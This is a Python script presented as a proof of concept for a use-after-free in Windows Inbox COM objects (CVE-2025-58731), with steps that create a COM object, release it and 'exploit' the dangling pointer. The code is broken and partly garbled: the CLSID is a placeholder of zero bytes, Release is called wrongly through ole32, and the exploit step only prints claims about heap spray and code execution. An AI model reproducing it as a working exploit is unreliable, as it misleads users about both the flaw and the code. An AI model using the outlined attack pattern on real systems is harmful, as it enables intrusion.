The following code is for security research and authorized testing only.
python
# CVE-2025-58731 - Windows Inbox COM Objects Use After Free PoC
# This is a conceptual PoC demonstrating the vulnerability exploitation pattern.
# Actual exploitation requires specific memory layout control and timing.
import ctypes
import sys
import os
# Step 1: Define necessary Windows API constants and structures
from ctypes import wintypes, POINTER, byref, c_void_p, c_size_t, c_uint, c_ulonglong
CLSID_InboxCOMObject = b'\x00' * 16 # Placeholder CLSID for the vulnerable Inbox COM object
IID_IUnknown = b'\x00' * 16 # Standard IUnknown interface ID
# Step 2: Initialize COM library
def init_com():
"""Initialize the COM library for the calling thread."""
COINIT_APARTMENTTHREADED = 0x2
ole32 = ctypes.windll.ole32
hr = ole32.CoInitializeEx(None, COINIT_APARTMENTTHREADED)
if hr < 0:
raise OSError(f"CoInitializeEx failed: 0x{hr:08x}")
return ole32
# Step 3: Create an instance of the vulnerable Inbox COM object
def create_vulnerable_object(ole32):
"""Create an instance of the vulnerable Inbox COM object."""
CLSCTX_INPROC_SERVER = 0x1
p_unknown = c_void_p()
hr = ole32.CoCreateInstance(
CLSID_InboxCOMObject,
None,
CLSCTX_INPROC_SERVER,
IID_IUnknown,
byref(p_unknown)
)
if hr < 0 or not p_unknown.value:
raise OSError(f"CoCreateInstance failed: 0x{hr:08x}")
return p_unknown
# Step 4: Trigger the Use After Free condition
def trigger_uaf(p_unknown, ole32):
"""
Trigger the UAF by releasing the COM object but retaining a dangling pointer.
After release, the memory is freed but the pointer still references it.
"""
# Release the COM object (decrement ref count to 0, freeing the object)
ole32.Release(p_unknown)
# NOTE: p_unknown is now a dangling pointer - the object has been freed
# but we still have a reference to the freed memory region.
return p_unknown
# Step 5: Exploit the freed memory region
def exploit_uaf(p_dangling, ole32):n """
Re-allocate the freed memory with controlled data and trigger
code execution through the dangling pointer.
"""
# In a real exploit, heap spray or controlled allocation would
# fill the freed memory with attacker-controlled data (e.g., shellcode
# or a fake vtable pointing to malicious code).
print(f"[*] Dangling pointer at: 0x{p_dangling.value:x}")
print("[*] In a real exploit, heap spray would place shellcode here.")
print("[*] Calling method on freed object to trigger code execution...")
# Attempting to call a method on the freed object would execute
# attacker-controlled code if the heap has been manipulated.
# This is where the arbitrary code execution occurs.
# Main exploitation flow
if __name__ == "__main__":
print("[*] CVE-2025-58731 PoC - Windows Inbox COM UAF")
print("[*] WARNING: This is for educational/research purposes only.")
try:
ole32 = init_com()
print("[+] COM initialized successfully")
p_obj = create_vulnerable_object(ole32)
print(f"[+] Vulnerable COM object created at: 0x{p_obj.value:x}")
p_dangling = trigger_uaf(p_obj, ole32)
print("[+] UAF condition triggered (object freed, pointer retained)")
exploit_uaf(p_dangling, ole32)
print("[+] Exploitation attempt completed")
ole32.CoUninitialize()
except OSError as e:
print(f"[-] Error: {e}")
sys.exit(1)
except Exception as e:
print(f"[-] Unexpected error: {e}")
sys.exit(1)